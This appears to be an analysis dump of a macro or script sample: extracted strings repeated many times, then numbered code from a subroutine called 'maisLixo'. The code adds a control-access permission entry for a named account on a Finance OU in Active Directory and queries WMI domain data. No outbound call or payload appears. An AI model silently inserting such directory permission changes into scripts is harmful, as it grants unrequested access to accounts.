                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      430

                                                                                                                                                      Private Sub maisLixo()

                                                                                                                                                      439

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      440

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      441

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      442

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      443

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      445

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      446

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      447

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      449

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      451

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      452

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      453

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      454

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      455

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      456

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      457

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      458

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      460

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      462

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      463

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      471

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      473

                                                                                                                                                      strComputer = "."

                                                                                                                                                      474

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      477

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      480

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      481

